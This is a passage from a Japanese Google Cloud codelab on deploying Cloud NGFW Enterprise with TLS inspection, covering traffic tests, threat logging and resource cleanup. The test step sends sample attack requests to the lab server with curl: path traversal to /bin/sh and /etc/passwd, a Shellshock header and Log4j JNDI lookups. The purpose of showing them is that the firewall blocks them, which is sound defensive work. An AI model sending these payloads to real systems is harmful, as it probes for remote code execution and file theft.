SSH でクライアントに再接続し、更新された信頼構成で E/W トラフィックをテストします。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サーバーへのサンプル TLS リクエストを実行します。

curl https://$target_privateip --max-time 2

以下の出力が引き続き表示される場合は、更新が反映されるまでお待ちください。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

予想される出力:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

悪意のあるテスト トラフィックをサーバーに送信します。

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

予想される出力:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

以下の出力で、レスポンスが受信されず、サンプル攻撃が E/W でブロックされていることを確認できます。

13. ロギング

Logging に移動 >ログ エクスプローラで、以下のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えてください。

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise のログエントリは次のように表示されます。

5b68cc1063c0f4bd.png

ログエントリを開き、クライアント VM からサーバーに送信された攻撃が特定され、ブロックされたことを確認します(以下のスクリーンショットの Apache Log4j のリモートコード実行の脆弱性)。

478f18f8481e90ed.png

TLS インスペクションを備えた Cloud NGFW Enterprise を正常にデプロイし、悪意のあるリクエストをブロックできました。

次のセクションに進んでクリーンアップ手順に進みます。

14. クリーンアップ手順

基本設定のクリーンアップ

インスタンスを削除します。

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin ロールと tagUsers ロールが変更された場合は、次の手順を行います。

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

タグキーとタグ値を削除します。

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud ファイアウォールのネットワーク ポリシーと関連付けを削除します。

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router と Cloud NAT を削除します。

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

予約済みの IP アドレスを削除します。

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、関連付け、TLS クリーンアップ

セキュリティ プロファイル グループと脅威プロファイルを次の順序で削除します。

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud ファイアウォール エンドポイントの関連付けを削除します。

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall エンドポイントを削除します。これには 20 分ほどかかることがあります。

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

必要に応じて、次のコマンドを実行して、Cloud NGFW エンドポイントが削除されたことを確認します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

エンドポイントの状態は次のようになります。

STATE: DELETING

完了すると、エンドポイントは一覧表示されなくなります。

TLS ポリシーと信頼構成を次の順序で削除します。

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

ルート CA と CA プールを無効にして削除します。

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

サブネットと VPC のクリーンアップ

最後に、サブネットと VPC ネットワークを削除します。

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 完了

これで、Cloud NGFW Enterprise for East-West と Northbound TLS Inspection Codelab は終了です。